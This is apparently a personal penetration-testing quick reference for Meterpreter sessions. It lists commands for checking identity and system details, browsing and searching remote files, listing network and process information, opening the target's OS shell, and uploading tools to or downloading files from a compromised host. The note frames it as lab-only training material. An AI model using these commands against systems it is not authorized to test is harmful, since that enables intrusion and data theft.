

Meterpreter Essentials — Session and Files

getuid, sysinfo, pwd, ls, cat, search, upload, download, shell, background, and the difference between local and remote paths.

» Abdullah Nasser Almsan — Personal Pentest Reference

Usage note: A companion to the Metasploit guide. This starts after the prompt is already meterpreter >.

IDENTITY

getuid

FILES

pwd / ls

TRANSFER

upload / download

SHELL

shell / background

Contents

1. Understand the prompt
2. Files and navigation
3. System, network, and processes
4. Move to the OS shell
5. Upload/download without mixing paths
6. First-minute workflow

1. Understand the prompt

Meterpreter is not Windows CMD or Bash. It has its own commands and can open the underlying system shell.

METERPRETER — Help

```
help
?
```

METERPRETER — Identity and system

```
getuid
sysinfo
```

METERPRETER — Background session

```
background
```

background returns to msfconsole without closing the session.

MSFCONSOLE — Return to a session

```
sessions
sessions -i [SESSION_ID]
```

2. Files and navigation

Command	Meaning
getwd / pwd	Current remote directory
dir / ls	List remote files
cd [PATH]	Change remote directory
cat [FILE]	Read remote file
search -f [PATTERN]	Search for a remote file
download [REMOTE] [LOCAL]	Download from target
upload [LOCAL] [REMOTE]	Upload to target
getlwd / lpwd	Current local Kali directory
lls	List local files
lcd [PATH]	Change local directory

3. System, network, and processes

METERPRETER — Network

```
ipconfig
route
arp
```

METERPRETER — Processes

```
ps
getpid
```

METERPRETER — Privileges

```
getprivs
```

getprivs shows privileges on the current token; it does not automatically mean you are SYSTEM.

4. Move to the OS shell

Use the native Linux/Windows shell when you need operating-system commands.

METERPRETER — Open shell

```
shell
```

Then use the target OS commands: Linux → whoami; pwd; ls -la. Windows → whoami & cd & dir. Exit the OS shell using the appropriate channel/shell method so you do not kill Meterpreter when possible.

METERPRETER / MSFCONSOLE — Channel/session help

```
help shell  
help sessions
```

5. Upload/download without mixing paths

Know which path is local and which is remote.

METERPRETER — Check local and remote locations

```
lpwd  
pwd  
lls  
ls
```

METERPRETER — Upload

```
upload ./tool.exe C:\Windows\Temp\tool.exe
```

METERPRETER — Download

```
download C:\Temp\result.txt ./result.txt
```

Note: Use only paths you are allowed to read/write in the lab, and clean up files you created when the exercise ends.

6. First-minute workflow

METERPRETER

```
getuid  
sysinfo  
pwd  
ls  
ipconfig  
route  
ps
```

Need native OS commands? shell. Need file transfer? lpwd/pwd/upload/download. Temporarily finished? background.

Prepared as a quick-reference companion to the canonical Arabic guide. Use only in labs or systems you are explicitly authorized to test.

References:

<https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions/>